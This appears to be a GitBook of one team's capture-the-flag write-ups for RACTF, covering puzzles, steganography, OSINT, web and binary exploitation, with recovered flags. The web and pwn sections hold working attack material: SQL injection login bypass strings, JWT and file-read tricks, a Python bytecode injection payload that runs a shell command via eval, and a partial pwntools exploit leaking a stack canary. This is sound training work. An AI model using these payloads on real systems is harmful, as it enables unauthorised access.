arrow-left

All pages
gitbookPowered by GitBook
1 of 62

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

EmojASM

➡️🎞️👁️🎞️❔🗃️📦🔨✉️😃😂⚖️⏪📼🎁🔨➡️📼🦔🗃️❔🗃️📦🔨✉️😁😅🏷️👁️📼📤✉️😀😀🐰

Broken down into logic:

Move forward on tape 1, read the value into reg A

Compare reg A to 0 (read: have we reach end of indexes)

Load reg A into reg X

Load garbage address into reg A

If compare earlier was true jump to garbage and die

Else reset tape 0

---JUMP BACK POINT---

Load value from reg X back into reg A

Step forward in T0

Decrement reg A

Compare reg A to 0 (read: are we at right char)

Load reg A into reg X

Load address of jump back point into A

If earlier comparison not true (i.e not at the char yet) jump to jump back point

Else (we are at the char) read T0 and output, jump back to start

hashtag
Flag: ractf{5huffl1n'}

Reading Between The Lines

All we are provided with is a C file which #include's flag.txt.

I noticed however it was full of whitespace, which reminded me of the esoteric language WhiteSpace.

I simpled copy and pasted the file into an , which printed the flag.

hashtag
ractf{R34d1ngBetw33nChar4ct3r5}

interpreterarrow-up-right

Dead Man

I searched 'war memorial cross' and scrolled through images.

I eventually found one that looked similar to the one in the photo.

It was a 'cross of sacrifice'.

However there is quite a few of them in many countries.

Woa managed to identify the country from some blurred writing in the back ground (Thailand).

From searching thailand cross of sacrifice I managed to find the place it was in and able to submit the flag.

Solved in a flash

When we download the file, we're presented with a file called flash.bin. Running file on it, we get that it's just data. If we try and cat the file, we get a whole load of junk. Great. Lets try adn see if we can enumerate any strings from it.

strings flash.bin scroll up - yep, there's the flag.

hashtag
Flag: ractf{Fl4shDump5Ar3VeryFun!!}

Puffer Overflow

Puffer Overflow

Let's review the code.

There's two interesting functions - put_on_stack, which generates some interesting python bytecode to put a value onto the stack, and returns it.

Then, there's execute bytecode. It takes some bytecode, and, well, executes it. How though?

It loads 256 constants - 1,2,3, etc. matching up to 1,2,3,etc. As global variables, it loads the functions chr, ord, globals, locals, getattr and setattr. We have to use these functions alone to gain RCE. Impossible? No. But lets look into how we can do this.

We input a name. It takes the first 32 bytes of this, and generates some byte code that puts this name onto the stack. It then prepends said bytecode to all bytes afterwards, and executes it. If we put 0-32 chars, this is fine, but if we input anymore, then from the 33th character onwards is executed as python bytecode!

We must generate python bytecode that utilises the small set of functions and variables we have to gain RCE. My final payload in python code form was globals()[chr(101)+chr(118)+chr(97)+chr(108)](chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95)+chr(46)+chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(39)+chr(111)+chr(115)+chr(39)+chr(41)+chr(46)+chr(112)+chr(111)+chr(112)+chr(101)+chr(110)+chr(40)+chr(39)+chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(104)+chr(111)+chr(109)+chr(101)+chr(47)+chr(114)+chr(97)+chr(99)+chr(116)+chr(102)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)+chr(39)+chr(41)+chr(46)+chr(114)+chr(101)+chr(97)+chr(100)+chr(40)+chr(41))

Not very readable, but in normal python code,

How can we do this? We can't just go about compiling a .pyc or code using compile() - those files create constants and globals to suit them. We can't do this however, we must only use constants and variables given to us. We can analyse the put_on_stack function, and see what it does

  • b"t\x00" - load the first global, chr. We can replace with \x02 to load the 3rd global, globals

  • b"d<number>" - load constant for argument. When doing globals(), we don't need this.

  • b"\x83\x01"

we can use this to generate bytecode to call globals, b"t\x02\x83\x00". Then, we must dynamically construct the word "eval" using only chr via the same methods the put_on_stack function uses. After that, we use the BINARY_SUBSCR opcode, b"\x19\x00", which computes TOP1 = TOP1[TOP2]

Now what? Loaded on the stack is the function eval. Now, using the same method as put_on_stack again, we construct our python payload that cats the flag. Finally, we wrap it all up with a b"\x83\x01" - call the function eval, loaded from globals()['eval'], with one argument.

I ended up doing some enumeration, and finding flag.txt in /home/ractf, then catting it.

This results in the flag ractf{Puff3rf1sh??}. I will post the final bytecode below and my generation script and final exploit script as generator.py and puffer.py.

Bytecode:

hashtag
ractf{Puff3rf1sh??}

- call current function with 1 argument
  • b"\x17\x00" - binary add. does first value on stack + second value. note it's called binary but it can be used to concatenate strings just like adding numbers bcoz its python at the end of the day

  • globals()['eval']('__builtins__.__import__("os").popen("cat /home/ractf/flag.txt").read()')
    t\x02\x83\x00t\x00de\x83\x01t\x00dv\x83\x01\x17\x00t\x00da\x83\x01\x17\x00t\x00dl\x83\x01\x17\x00\x19\x00t\x00d_\x83\x01t\x00d_\x83\x01\x17\x00t\x00db\x83\x01\x17\x00t\x00du\x83\x01\x17\x00t\x00di\x83\x01\x17\x00t\x00dl\x83\x01\x17\x00t\x00dt\x83\x01\x17\x00t\x00di\x83\x01\x17\x00t\x00dn\x83\x01\x17\x00t\x00ds\x83\x01\x17\x00t\x00d_\x83\x01\x17\x00t\x00d_\x83\x01\x17\x00t\x00d.\x83\x01\x17\x00t\x00d_\x83\x01\x17\x00t\x00d_\x83\x01\x17\x00t\x00di\x83\x01\x17\x00t\x00dm\x83\x01\x17\x00t\x00dp\x83\x01\x17\x00t\x00do\x83\x01\x17\x00t\x00dr\x83\x01\x17\x00t\x00dt\x83\x01\x17\x00t\x00d_\x83\x01\x17\x00t\x00d_\x83\x01\x17\x00t\x00d(\x83\x01\x17\x00t\x00d'\x83\x01\x17\x00t\x00do\x83\x01\x17\x00t\x00ds\x83\x01\x17\x00t\x00d'\x83\x01\x17\x00t\x00d)\x83\x01\x17\x00t\x00d.\x83\x01\x17\x00t\x00dp\x83\x01\x17\x00t\x00do\x83\x01\x17\x00t\x00dp\x83\x01\x17\x00t\x00de\x83\x01\x17\x00t\x00dn\x83\x01\x17\x00t\x00d(\x83\x01\x17\x00t\x00d'\x83\x01\x17\x00t\x00dc\x83\x01\x17\x00t\x00da\x83\x01\x17\x00t\x00dt\x83\x01\x17\x00t\x00d \x83\x01\x17\x00t\x00d/\x83\x01\x17\x00t\x00dh\x83\x01\x17\x00t\x00do\x83\x01\x17\x00t\x00dm\x83\x01\x17\x00t\x00de\x83\x01\x17\x00t\x00d/\x83\x01\x17\x00t\x00dr\x83\x01\x17\x00t\x00da\x83\x01\x17\x00t\x00dc\x83\x01\x17\x00t\x00dt\x83\x01\x17\x00t\x00df\x83\x01\x17\x00t\x00d/\x83\x01\x17\x00t\x00df\x83\x01\x17\x00t\x00dl\x83\x01\x17\x00t\x00da\x83\x01\x17\x00t\x00dg\x83\x01\x17\x00t\x00d.\x83\x01\x17\x00t\x00dt\x83\x01\x17\x00t\x00dx\x83\x01\x17\x00t\x00dt\x83\x01\x17\x00t\x00d'\x83\x01\x17\x00t\x00d)\x83\x01\x17\x00t\x00d.\x83\x01\x17\x00t\x00dr\x83\x01\x17\x00t\x00de\x83\x01\x17\x00t\x00da\x83\x01\x17\x00t\x00dd\x83\x01\x17\x00t\x00d(\x83\x01\x17\x00t\x00d)\x83\x01\x17\x00\x83\x01

    A Flash of Inspiration

    From the previous challenge, we know that this file is a compiled binary for the Arduino.

    We are given a .bin file but we need to convert it to an Intel Hex file so it can be flashed to the Arduino.

    There are various tools to do this, such as Bin2Hex.py, which is linked.

    After converting flash.bin, to flash.hex, I flashed it onto my Arduino Uno with:

    "C:\Program Files (x86)\Arduino\hardware\tools\avr/bin/avrdude" -C "C:\Program Files (x86)\Arduino\hardware\tools\avr/etc/avrdude.conf" -v -patmega328p -carduino -PCOM3 -b115200 -D -Uflash:w:C:\Path\To\flash.hex:i

    I got this command from uploading a sketch to the Arduino with the software.

    Once flashed, I checked the Serial Monitor in the Arduino software, but it was only outputting invalid characters.

    I thought that the baudrate could be the problem, so I tried turning it down.

    There were less invalid characters as I went further down and at 19200, I got the flag:

    hashtag
    Flag: ractf{DidYouDoAnalysis?}

    Web

    Collide

    The server expects two values (one and two) passed in as a JSON array.

    It appends a secret to the start of both of these and runs them through a custom hashing function.

    If the result is equal, we get the flag. However, our input is compared with the === operator, and if they match our input is rejected.

    As this is a web challenge, not a crypto one, I realized the target was not the hashing function.

    After some playing around, I found that ['a'] === ['a'] returns false, likely because the arrays are two different objects in memory.

    We send to the server:

    and the flag is returned.

    hashtag
    ractf{Y0u_R_ab0uT_2_h4Ck_t1Me__4re_u_sur3?}

    {
        "one":["a"],
        "two":["a"]
    }

    Entrypoint

    We can see in HTML comments of the web page:

    <!-- In case I forget: Backup password is at ./backup.txt -->

    However we get a 403 Forbidden if we try to access this file with /backup.txt

    We can see that the CSS file is included with href="/static?f=index.css"

    So if we go to /static?f=backup.txt, we get the credentials for the develop user.

    hashtag
    Flag: ractf{developerBackupCode4321}

    Admin Attack

    This is the same principle as Baiting. This time we need to log into the admin user.

    From the list of users we found with the devloper credentials, jimmyTehAdmin is the account we need to log in to.

    We can use a similar payload to before (this challenge is more resitant to SQLMap)

    ' OR username='jimmyTehAdmin' --

    hashtag
    Flag: ractf{!!!4dm1n4buse!!!}

    Getting Admin

    The next stage of the Quarantine series.

    I noticed that our session cookie was a JWT, signed with HS256.

    A vulnerability exists where these tokens can have their signing algorithm set to 'none' and their signature removed, and the web app will accept and process it.

    I used the highly useful jwt_toolarrow-up-right to resign it, editing my 'privilege' value from '1' to '10'.

    This allowed me access to the admin panel (more of a single page).

    hashtag
    ractf{j4va5cr1pt_w3b_t0ken}

    Vandalism

    Earlier on, I noticed the path /__adminPortal in an undefined response header.

    Now with admin access, I decided to visit it.

    It gave us some nice ASCII art, but in a hidden <p> there was some Zalgo'd text.

    Using a Zalgo Removerarrow-up-right , I retrieved the original text: Lorem Ipsum, but hidden inside:

    hashtag
    ractf{h1dd3n1npl4n3s1ght}

    Finding Server Information

    We are given the name of the source code file app.py, and we need to find a way to read it.

    We already have access to the admin section of the site from the previous challenge.

    We are given links to three available videos that we can watch.

    These all follow the format /watch/XXXX.mp4.

    We are told the name of the file we need to read is called app.py

    So we can try /watch/app.py.

    In the source code of the page, we can see:

    data:video/mp4;base64,ractf{qu3ry5tr1ng_m4n1pul4ti0n}

    hashtag
    Flag: ractf{qu3ry5tr1ng_m4n1pul4ti0n}

    Quarantine - Hidden Information

    /robots.txt points to /admin-stash

    hashtag
    ractf{1m_n0t_4_r0b0T}

    A Monster Issue

    So you get a .mp3 file.

    Instincts suggest strings which shows a wav file in the mp3 therefore if I binwalk it I get a file called OwO.wav.

    If you open it up in Sonic Visualizer and load it as a spectogram, it says Password (Shad0ws).

    Therefore I binwalked the Owo.wav file and out came an empty flag.png and a .zip file.

    The password for the zip is Shad0ws and once thats extracted the png will open and your flag will be:

    hashtag
    ractf{M0nst3rcat_In5tin3t}

    Access Granted

    When opening the video file, we're greeted with a music video.

    After running strings, we can see 'password{guitarmass}' and when using binwalk we can get an image that simply says 'password{guitarmass}'.

    It's clear we need this password for something, but what and where?

    My initial assumptions were using steghide on the files or the video's thumbnail - but of course, nothing.

    I immediately got to researching MP4 steganography techniques and found many articles that covered hiding TrueCrypt volumes within an MP4.

    While TrueCrypt is now outdated and has many security flaws, I tried mounting the MP4 file, using the password I had found - and again, nothing.

    However, with more research I had found that a more secure alternative exists: VeraCrypt.

    Now, there weren't any articles I could find about hiding VeraCrypt volumes within an MP4 but I was hopeful and still tried.

    I installed VeraCrypt and attempted to mount the MP4, alongside using the password.

    And there it was:

    flag.png

    Opening the .png will give us the flag.

    hashtag
    Flag: ractf{Butt3rsn00k's_R3veng3}

    Insert Witty Name

    Same concept as Entrypoint, but a different file.

    We are told that it is running on a Python server,

    so we can try to include common python web app filenames, such as app.py and main.py.

    If we use the same method as Entrypoint and go to /static?f=main.py, and we get the flag.

    hashtag
    Flag: ractf{d3velopersM4keM1stake5}

    Baiting

    If we log in with the credentials from Entrypoint, we can see a list of users.

    One of these is called "loginToGetFlag", so we'll try to log into this one.

    We get a SQL error if we put a ' so we can try SQL Injection payloads.

    We can use the payload:

    loginToGetFlag' --

    to log into this user - and we get the flag.

    hashtag
    Flag: ractf{injectingSQLLikeNobody'sBusiness}

    Quarantine

    We are presented with a login page. As this was a low-rated challenge, I began by testing basic SQLi.

    Entering ' or 1=1; -- - in the username field returned the message 'You are trying to login as multiple users'.

    From this, I determined that the injection was sucessful, but as this query returned multiple users the web app was rejecting it.

    I simply edited the payload to be ' or 1=1 limit 1; -- -, and I got access

    hashtag
    ractf{Y0u_B3tt3r_N0t_h4v3_us3d_sqlm4p}

    Mysterious Masquerading Message.md

    The OpenSSH private key is actually not a private key and is simply just base64.

    We decode it to get a long useless message and 2 hex strings.

    If we decode these hex strings we get,

    ineedtoopenlocks and initialisation12

    Decoding the binary gets us a long hex string.

    Looking at initialisation, I immediately thought of AES. Since an IV is provided, we can assume it is AES-CBC, so I just used cyberchef to

    decrypt and get the flag.

    hashtag
    Flag: ractf{3Asy_F1aG_0n_aEs_rAcTf}

    0x Series

    1. Monoalphabetical Substitution Cipher (trial and error)

      Flag: documents

    2. Vigenere Cipher (trial and error)

      Flag: zurich

    3. Railfence Cipher (freq anal)

      Flag: ANUALLEAVE

    4. Columnar Transposition Cipher (freq analysis, x's at end for padding)

      Flag: CONCERNEDENCRYPTED

    5. Bifid Cipher (lack of j hinted at grid cipher, cant be playfair because of doubles)

      Key: ReallyAwesome

      Flag: Campbell

    6. Periodic Gromark Cipher (number key, nothing else given)

      Key: agency

      Flag: organization

    ST.mov

    The audio is binary in chunks of 0.5 seconds where if we convert static to a 1 and black to a 0 we can decode the 7bit binary to get the flag.

    Audio binary:1110010110000111000111110100110011011110111110110110100111001001100101110111101000001110100110100111011011100101010000011000101101111110100111100111111101
    Final binary: 01110010 01100001 01100011 01110100 01100110 01111011 01110110 01101001 01100100 01100101 01101111 00100000 01110100 01101001 01101101 01100101 00100000 01100010 01101111 01101001 01110011 01111101

    hashtag
    Flag: ractf{video time bois}

    Pearl pearl pearl

    Upon connecting to the server, it just sends lots of lines of ctf{pearlpearlpearl}. Nothing that interesting. I decided to script this to see if it was like some challenges we had seen in previous ctfs where we required speed, but this was not the case. I did however, notice something very interesting you wouldn't see on a terminal from doing nc - between lines of ctf{pearlpearlpearl}, it didn't just use newlines, it used \r too. In fact, it alternated between the two in a non-regular pattern. I decided to strip all ctf{pearlpearlpearl} from the output of the server and get the pure \r and \n. Then, I converted \r to 0 and \n to 1 and attempted to convert from binary. This worked, and yielded the flag

    hashtag
    Flag: ractf{p34r1_1ns1d3_4_cl4m}.

    RACTF

    NS.mov

    We listen to the numbers and then we take each group of 4 numbers and then xor the two pairs of numbers together to get the flag in ascii numbers.

    line = "3282946335644699558189435884899687353523629389457657498967479814468744246854784782549811578682476928295219973364558494427246824175372137617396849156924966554778644466465867183879616532663854959912349565971143496784539461884465395667855913613882412968395979843391583773357999263422954543744884426783694985265817497557713861948844653995364979233942941962367133855971885784568161359941296179865536644568698393323163633136863669437249694575893478324639637512563779992399473669129638744382254568544172336998115993715854226496"
    n = 2
    c = ""
    x  = [line[i:i+n] for i in range(0, len(line), n)]
    for i in range(len(x)//2):
      b = i * 2
      c += chr(int(x[b]) ^ int(x[b+1]))
    print(c)

    hashtag
    Flag: ractf{n0t4ctually4radio}

    BR.mov

    We get a link to a youtube video with a bunch of barcodes Method is to decode each, and then if s = decoded string And i = read number, we take s[i] and add it to the decoded string to get the flag.

    hashtag
    Flag: ractf{b4rc0d3_m4dn3ss}

    Tree Man

    We can see a Spanish Flag in the background,

    and then we can simply google "Spain Tree Man",

    which gives us the location of the theme park.

    We then look for the structure present in the background,

    (the orange rocks) and then using a bit of Google Maps precision stuff, we can get the location pretty accurately

    https://www.google.com/maps/@41.0858555,1.1545438,69m/data=!3m1!1e3arrow-up-right

    Suspended Belief

    After a lot of research into suspension bridges, we landed at the Ting Kau bridge in Hong Kong New Territories, which is found here:

    Map Linkarrow-up-right

    Misc

    Teleport

    So uhh you can put nan through float which means any maffs done on it return 0 which lets us teleport (woa submitted it when i wasnt looking :( - no points for me)

    hashtag
    Flag: ractf{fl0at1ng_p01nt_15_h4rd}

    Spentalkux

    The description simply read '🐍📦'.

    This (or just googling the challenge name) leads us to the Python Package site PyPi, which had Spentalkux 13.37.

    I installed and ran this, and received this message:

    My creator left this behind but, I wonder what the key is? I don't know, but if I did I would say it's about 10 characters. Enjoy this. Ztpyh, Iq iir'jt vrtdtxa qzxw lhu'go gxfpkrw tz pckv bc ybtevy...*ffiieyano*. New cikm sekab gu xux cskfiwckr bs zfyo si lgmpd://zupltfvg.czw/lxo/QGvM0sa6

    The reference to a key of a given length made me think of Vigenère cipher. I pasted the message into dcode.frarrow-up-right and set the known keylength to 10. Hello, If you're reading this you've managed to find my little... interface. The next stage of the challenge is over at (key: SPENTALKUX)

    This contained hex data, which gave us raw PNG data when decoded.

    The png contained binary numbers translating to '_herring', and a message to look back in the past.

    I checked the version history of Spentalkux, and found and installed 0.9. This returned the message

    JA2HGSKBJI4DSZ2WGRAS6KZRLJKVEYKFJFAWSOCTNNTFCKZRF5HTGZRXJV2EKQTGJVTXUOLSIMXWI2KYNVEUCNLIKN5HK3RTJBHGIQTCM5RHIVSQGJ3C6MRLJRXXOTJYGM3XORSIJN4FUYTNIU4XAULGONGE6YLJJRAUYODLOZEWWNCNIJWWCMJXOVTEQULCJFFEGWDPK5HFUWSLI5IFOQRVKFWGU5SYJF2VQT3NNUYFGZ2MNF4EU5ZYJBJEGOCUMJWXUN3YGVSUS43QPFYGCWSIKNLWE2RYMNAWQZDKNRUTEV2VNNJDC43WGJSFU3LXLBUFU3CENZEWGQ3MGBDXS4SGLA3GMS3LIJCUEVCCONYSWOLVLEZEKY3VM4ZFEZRQPB2GCSTMJZSFSSTVPBVFAOLLMNSDCTCPK4XWMUKYORRDC43EGNTFGVCHLBDFI6BTKVVGMR2GPA3HKSSHNJSUSQKBIE

    After a long process of trial and error, I solved it. To save you some pain, here's a Cyberchef link: [Here]()

    hashtag
    ractf{My5t3r10u5_1nt3rf4c3?}

    Discord

    OWO, we do seem to be getting a lot of these discowrd challenges in CTFs, and they arwe vewwy vewwy hawrd, this one especiawwy!

    It seems the fiwrst mention of "Discowrd" being wewated to a challenge in the sewver is way back in Juwuly 2019, whewre miwstew benjamin techinson mentions a token, so that couwuld be a fwag! This awlso meant the challenge appeawed to be unsolvwed since then. As we werwe the team to blood this challenge, I think we should definitely make a wrwiteup on this tough challenge.

    The bwiefing weads as fowwows:

    Join our discord over at [redacted] and see if you can find the flag somewhere.

    OwO, whats dis? A Discowd link? I wondewr what wouwuld happen if I wewre to click it >w< Howewew, I remembewed what happened duwwing angstwomCTF, whewre the link was actuawwy a wrickwoll, which was vewwy iwwitating. Considewwing that thewre wewre othewr challenges in RACTF that wewre inspiwred by angstwomCTF, like peawrl peawrl peawrl, this confiwrmed my theowy that the link was actuawwy fake. So, I decided not to click it. I had to get a Discowd invite somehow howevew, so I kept on seawching. Howevew, I wealised that I would need to make a discowrd account in owdewr to actually wead the fwag. I had done this befowre in TJCTF, so I weffewed back to the wrwiteup I cweated for it.

    Thewre was something diffewent howevwew. I didnt spot this rwight away but aftewr following my TJCTF wrwiteup didnt wowrk, I rwealised that I was using the same email. This was vewwy cwucial, as this meant I would need to get a new email, and fast. Howevewr, as with most CTFs me and my team do, ouwr wivals PuWuN to 0w0xE4 wewre also twying to solve this challenge, as it was ouwrs and awlso theiw 59th last challenge, thewefowe this was going to be a fiewrce wace to twy and compwete the challenge. In TJCTF, they ouwutdid us by doing Nauwughty, but nowot this time. This time, we had a new membewr on ouwr team, Rowowan, who is quite good at web, and so he would accompany ouwr wesident newrd and web pewrson, Tony, also known as cluwubby789. This time, with Rowowan on ouwr team, we would be suwure to win and cwush PuWuN to 0w0xE4 once and fowr all. We would teawr them to shweds and fwex our shiny RACTF coins in theiwr faces.

    Sowo, we had to find a way to get a new email. How wewre we going to do that though? Well, since I have to be able to access this email fowr vewification, I had to find an email I contwolled.

    I was wecommended a site called 10minutemail, which would pwovide me a mailbox which I could weceive mail fwom. This tuwned out to wowrk pewrfectly, as we wewre able to wegistewr an account, and since I didnt have to givwe discowd a weal email, I didnt have any issues with twust like I did in TJCTF, which was a massive time save, and in the end is definitely what helped us cwush PuWuN to 0w0xE4.

    Nowow that we had a Discowrd account we could uwuse to access discowrd, we needed to actually find a link to the RACTF discowd sewvewr, which we at fiwst assumed would be the location of the fwag. This again, like TJCTF, took quite a long time. Because they hadnt put the link in the bwiefing, this link took wayyy too long to find. And as always, PuWuN to 0w0xE4 wewre rwright on ouwr tail. Ouwr spies had wepowrted that they had found the link and wewre in the Discowd sewvewr, meaning that they wewre vewwy close to the fwag! This couldnt be happening. We wowrked so hard to solve all 0 challenges befowre this, and all ouwr hawrd wowrk would have gone to waste. We needed to keep going and get these all important 50 points.

    We seawrched for ages, and pwaying the entiwre time that PuWuN wouldnt solve the challenge befowre us. Suddenly, one of ouwr team membewrs spotted something. If you went to the actual owiginal RACTF page, that is, , thewre was a thing that said contact, and on thewre there was a button that said Discowrd.

    UWU! This suwrely was the link we wewre looking for! With ouwr newly wegistewed Discowrd account, we could use the link to join the official RACTF Discowrd. This was it. We wewre at the same stage as PuWuN to 0w0xE4. It would just be a rwace to find the fwag.

    My initial instinct was to try the good old !fla.g command, as castowrsCTF's also insanewly hawrd Discowrd challenge was to uwuse this command, and then the fwag would be DMed to you.

    However, it seems the evil mastewrmind behind the sewvewr, Mistewr Benjamin Techinson, the wollewrcoastewr enthusiast, had developed some sowrt of filtewring the command! So this is why PuWuN to 0w0xE4 wewre taking so long! They must have been twrying to bypass the fiwlter that Mistewr Techinson had put in place for this. So this basicawwy confiwmed that this was the challenge. Twying to bypass the fiwlter was quite easy, since Mistewr Techinson cleawrly did a howwible job at fiwltewring and we bypasswed the fiwlter vewwy quickly. It seems he had neglected vewwy many things, for exampwle, using backslashes to not make the bot delete the !fla.g command. Howevewr, I beweive that he did a few patches duwwing the CTF to make the challenge mowre difficult, so I think it was vewwy lucky that we wewre able to get it done eawrly when the challenge was much easiewr, and of couwrse, to cwush PuWuN to 0w0xE4.

    Swiftly typing in "!flag", we waited.

    We waited some mowre.

    A few milliseconds passed. A few cwickets chiwrped.

    Eventawwy, we rweawised that this was all just a red hewwing to divwewrt us. This was not the way to go to get the fwag, and no wondewr PuWuN to 0w0xE4 hadnt gotten the fwag yet, as the filwtewr was way too easy to bypass for it to be a challenge.

    So, we decided to look at ouwr TJCTF wrwiteup again.

    It seems that the fwag could be hidden in announcements, so we had a look thewre for any hints of the fwag location.

    We saw a message by thebeanowogamewr that read

    "The Discord flag does not require you to run a command"

    so we decided to compwetewy ignowre that and continuwue twying to bypass the fiwlter.

    Eventually, after 2 mowre seconds, we decided to give up, as it was cleawr we wewre getting nowhewre.

    Well whewre could this discowrd flag be? This was getting intenwse, and we knew PuWuN to 0w0xE4 would be clowose on our tail twrying to find the fwag. So, we kept fwantically seawching.

    With time on the line, we fwanticawwy seawched the discowrd, thwough the hype channel, and the sociawl channel, but nothing was to be found.

    Suddenly, we noticed an image, posted by some weirdo named willwam845.

    It was a vewwy basic image, but it had a stwing in fwag fowmat.

    ractf{discord_kinda_rocks}

    And it had a celebratowy message congwatulating us on finding the fwag! This had to be it.

    We wewre finally going to crush PuWuN to 0w0xE4 for once.

    Slowly, I copied the fwag into the fwag box, with just milliseconds to spawre.

    Howewvewr, it was wejected? How could this be happening?

    PuWuN to 0w0xE4 wewre going to beat us now!! This couldn't be happening.

    All these milliseconds we had worked so hawrd for. All that wowrk would hawve gone to waste.

    Howevrwer, I was detewrmined to find this fwag.

    And that's when I wemembewed.

    The angstwom discord wwrwiteup.

    Since peawlpeawlpeawl was inspiwred by angstwom, I was cewtain that the discowd challenge must also be inspiwred by it too!

    And I was pwoven cowwect.

    The fwag was indeed in the channel descwription of the genewal channel, and PuWuN to 0w0xE4 seemed to not have submitted it yet!

    We wewre finally going to cwush them once and for all!

    Slowlwy, but swiftlwy, I pasted the stwing, which was ractf{the_game_begins} into the fwag box, and then hit submit.

    "You have already solved this challenge" it read.

    What? How could this have happened??

    It tuwrns out howevewr, that Rowowan, the new membewr, had alweady submitted it and gotten blood! We were finally on our way to cwush PuWuN to 0w0xE4!

    In the end, we got cwushed by PuWuN to 0w0xE4 once again, as they solvwed EEE much fastewr than we did, meaning we did a gweat job, and cwushed them to bits!

    hashtag
    Flag: ractf{botters_is_a_sadist}

    https://pastebin.com/raw/BCiT0sp6arrow-up-right
    https://gchq.github.io/CyberChef/#recipe=From_Base32('A-Z2-7%3D',true)From_Base64('A-Za-z0-9%2B/%3D',true)Gunzip()From_Binary('Space')From_Binary('Space')From_Hex('Auto')From_Base85('!-u')&input=SkEySEdTS0JKSTREU1oyV0dSQVM2S1pSTEpLVkVZS0ZKRkFXU09DVE5OVEZDS1pSRjVIVEdaUlhKVjJFS1FUR0pWVFhVT0xTSU1YV0kyS1lOVkVVQ05MSUtONUhLM1JUSkJIR0lRVENNNVJISVZTUUdKM0M2TVJMSlJYWE9USllHTTNYT1JTSUpONEZVWVROSVU0WEFVTEdPTkdFNllMSkpSQVVZT0RMT1pFV1dOQ05JSldXQ01KWE9WVEVRVUxDSkZGRUdXRFBLNUhGVVdTTEk1SUZPUVJWS0ZXR1U1U1lKRjJWUVQzTk5VWUZHWjJNTkY0RVU1WllKQkpFR09DVU1KV1hVTjNZR1ZTVVM0M1FQRllHQ1dTSUtOTFdFMlJZTU5BV1FaREtOUlVURVYyVk5OSkRDNDNXR0pTRlUzTFhMQlVGVTNDRU5aRVdHUTNNR0JEWFM0U0dMQTNHTVMzTElKQ1VFVkNDT05ZU1dPTFZMRVpFS1kzVk00WkZFWlJRUEIyR0NTVE1KWlNGU1NUVlBCVkZBT0xMTU5TRENUQ1BLNFhXTVVLWU9SUkRDNDNFR05URkdWQ0hMQkRGSTZCVEtWVkdNUjJHUEEzSEtTU0hOSlNVU1FLQklFarrow-up-right
    https://ractf.co.uk/arrow-up-right

    Mad CTF Disease

    Steghide with no password to get moo.txt Upon some research, we can see this is the esoland of COW, which we can compile with http://www.frank-buss.de/cow.htmlarrow-up-right to get the flag

    hashtag
    Flag: ractf{exp3rt-mo0neuv3r5}

    Brick by Brick

    Just Reverse Image Search this image or use google lens, brings you around this:

    Map Linkarrow-up-right

    Remote Retreat

    After looking arount the image, The Haka Bar is mentioned. Look on google maps near the bern side of the french swiss border.

    Map Linkarrow-up-right

    RAirways

    Scan the barcode on the boarding pass with a barcode reader.

    hashtag
    Flag:ractf{B0ard1ngP4ssD4t4}

    Pwn

    Emojasm 2

    ➡️📼👁️📼📦🔨   - Read T0 into A, store in X. 
    ➡️🎞️👁️🎞️       - Read T1 into A
    🍴🔨📦⛏️      - AND A in place with X, store result in Y.
    👁️🎞️          - Read T1 back into A
    🎷🔨📦🔨      - OR A in place with X, store result in X
    🦔🔨🦔⛏️      - DEC X, DEC Y
    ❔⛏️          - CMP Y 0
    ✉️😁😍🏷️       - JNE 1D (decrement phase - this makes a subtraction loop,   
                    subtracting Y from X, and leaving result in X.)
    🎁🔨📤        - Print X
    ➡️📼👁️📼⬅️📼    - Read the next char from T0 into A, move back.
    ❔🗃️          - CMP A 0 (is the tape empty)
    ✉️😀😀🏷️       - JNE 00
    ➡️🎞️👁️🎞️⬅️🎞️    - Read the next char from T1 into A, move back.
    ❔🗃          - CMP A 0 (same thing but makes sure both are empty
    ️✉️😀😀🏷️       - JNE 00
    🗿            - HLT

    This works because the difference between the AND of two numbers and the OR of those numbers, logically, is equal to the XOR. OR is also always greater than AND, as it has 1s in all the same places, and more.

    hashtag
    Flag: ractf{x0rmoj1!}

    Finches in a stack

    Let's run a checksec. Canary, no PIE.

    On our first input, there's a format string vuln.

    On the second input, there's a buffer overflow as gets is used.

    There is also a flag function that seems to call system("cat flag.txt"). We just need to return to this function. There's a canary, so this isn't so easy.

    We can, however, use our format string vulnerability to leak the canary value, as the canary is stored on the stack and format strings let us leak values stored on the stack. I used a simple fuzzing script to find the canary offset, which was 11. We can set a breakpoint at the instruction which checks the canary and paste in a cyclic pattern to get the offset to the canary, which is 24 by checking the loaded canary value from the stack against the pattern. Our payload will be:

    junk + canary + 12 bytes of junk + address of flag function

    Finches in a Pie

    Very similar to FIAS, so I won't explain the parts about a stack canary.

    This time, there's PIE.

    What changes? What changes is that the address of our ever-so-important flag function changes every time, as PIE randomises the base of the binary.

    What we need to do is leak a value on the stack that we can calculate the binary base from.

    We're in luck. When a function is called, the address of the instruction for it to ret to is placed on the top of the stack.

    This means if the value isn't later overwritten, the addresses of some instructions, including instructions of functions of the binary, will remain on the stack.

    Thus we can leak an instruction of a function in the binary, and calculate the base off of this.

    I chose stack item 3, the address of the instruction in say_hi after it calls the pc_get_thunk function. Our exploit:

    Leak canary and binary base in one go with format string Send junk + canary + junk + flag address Script below:

    from pwn import *
    import re
    e = ELF("./fias")
    #p = e.process()
    p = remote('95.216.233.106',64832)
    p.clean()
    p.sendline("%11$p")
    output = p.recvline().decode()
    print(output)
    leak = int(re.findall("Nice to meet you, (.*)!", output)[0], 16)
    canary = leak
    log.info(f"Canary: {hex(canary)}")
    padding = b'A' * 25
